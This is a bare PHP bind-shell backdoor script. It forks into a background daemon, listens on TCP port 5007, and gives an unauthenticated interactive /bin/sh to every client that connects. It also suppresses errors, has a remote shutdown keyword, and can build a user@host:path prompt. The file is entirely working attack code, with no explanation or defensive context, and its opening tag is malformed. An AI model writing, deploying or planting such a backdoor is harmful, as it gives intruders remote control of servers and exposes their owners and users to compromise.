<? php
error_reporting(0);
set_time_limit(0);
define('LISTEN_PORT', '5007');
define('TIMEOUT_SECONDS', 15 * 60); // timeout for the client connection
define('SHUTDOWN_CMD', 'shutdownbd'); // shuts down the daemon when the client sends this
define('USLEEP_COMMAND_WAIT', 100000); // how much to halt in the loop for reading commands from the client
define('USLEEP_NEWUSER_WAIT', 1000000); // how much to halt in the loop for receiving connections
define('FANCY_SHELL', 0); // 1 or 0; fancy shell is `whoami`@`uname -n`:`pwd`$
define('BUF_SIZ', 2048);
define('FD_WRITE', 0);
define('FD_READ', 1);
define('FD_ERR', 2);
if (function_exists('pcntl_fork') === false) {
die('PCNTL functions not available on this PHP installation');
}
function my_socket_close($socket) {
socket_shutdown($socket);
socket_close($socket);
}
class Client {
private $socket;
public function __construct($socket) {
socket_set_nonblock($socket);
$this->socket = $socket;
}
public function __destruct() {
my_socket_close($this->socket);
}
public function Send($msg) {
return socket_write($this->socket, $msg, strlen($msg));
}
public function Read() {
return socket_read($this->socket, BUF_SIZ);
}
}
class Shell {
private $cmd;
private $pipes;
public function __construct() {
$cmd = proc_open("/bin/sh", array(array("pipe", "r"),
array("pipe", "w"), array("pipe", "w")), $pipes);
if ($cmd !== false) {
foreach ($pipes as $pipe) {
stream_set_blocking($pipe, 0);
}
$this->pipes = $pipes;
$this->cmd = $cmd;
} else {
throw new Exception
("Couldn't run /bin/sh.");
}
}
public function __destroy() {
foreach ($this->pipes as $pipe) {
fclose($pipe);
}
proc_close($this->cmd);
}
public function SendCMD($msg) {
$msg = $msg . "\n";
fwrite($this->pipes[FD_WRITE], $msg, strlen($msg));
}
public function Read() {
return $this->recv($this->pipes[FD_READ]);
}
public function ReadErr() {
return $this->recv($this->pipes[FD_ERR]);
}
public function GetShell() {
if (FANCY_SHELL === 0) {
return '$ ';
}
$this->SendCMD("whoami;");
do {
$whoami = $this->Read();
} while (strlen($whoami) === 0);
$this->SendCMD("uname -n;");
do {
$uname = $this->Read();
} while (strlen($uname) === 0);
$this->SendCMD("pwd;");
do {
$pwd = $this->Read();
} while (strlen($pwd) === 0);
return trim($whoami) . "@" . trim($uname)
. ":" . trim($pwd) . "$ ";
}
private function recv($pipe) {
do {
$buf = fgets($pipe, BUF_SIZ);
if (isset($buffer) === false) {
$buffer = $buf;
} else {
$buffer .= $buf;
}
} while ($buf !== false);
return $buffer;
}
}
$master_socket = socket_create_listen(LISTEN_PORT);
if ($master_socket !== false) {
$pid = pcntl_fork();
if ($pid) {
exit;
}
posix_setsid();
socket_set_nonblock($master_socket);
$pids = array();
while (true) {
$new_socket = socket_accept($master_socket);
if ($new_socket !== false) {
$pids[] = pcntl_fork();
$current_pid = $pids[count($pids) - 1];
if ($current_pid === 0) {
$client = new Client($new_socket);
$shell = new Shell();
$client->Send($shell->GetShell());
$timeout = time();
do {
if (time() - $timeout > TIMEOUT_SECONDS) {
break;
}
$command = $client->Read();
$command = trim($command);
$show_shell = false;
if ($command === ';') {
$command = '';
$show_shell = true;
}
if (strlen($command) !== 0) {
if ($command === SHUTDOWN_CMD) {
break 2;
}
if (substr($command, -1) !== ';') {
$command .= ';';
}
$shell->SendCMD($command);
$timeout = time();
}
$buffer = $shell->Read();
if ($buffer !== false) {
$is_read = true;
$client->Send($buffer);
$show_shell = true;
}
$errbuf = $shell->ReadErr();
if ($errbuf !== false) {
$is_read = true;
$client->Send($errbuf);
$show_shell = true;
}
if ($show_shell === true) {
$client->Send($shell->GetShell());
}
usleep(USLEEP_COMMAND_WAIT);
} while ($command !== 'exit;');
unset($shell, $client);
exit;
}
}
usleep(USLEEP_NEWUSER_WAIT);
}
foreach ($pids AS $pid) {
posix_kill($pid, SIGKILL);
}
my_socket_close($master_socket);
}
else {
echo "Can't bind socket to port " . LISTEN_PORT . '.' . PHP_EOL;
}
?>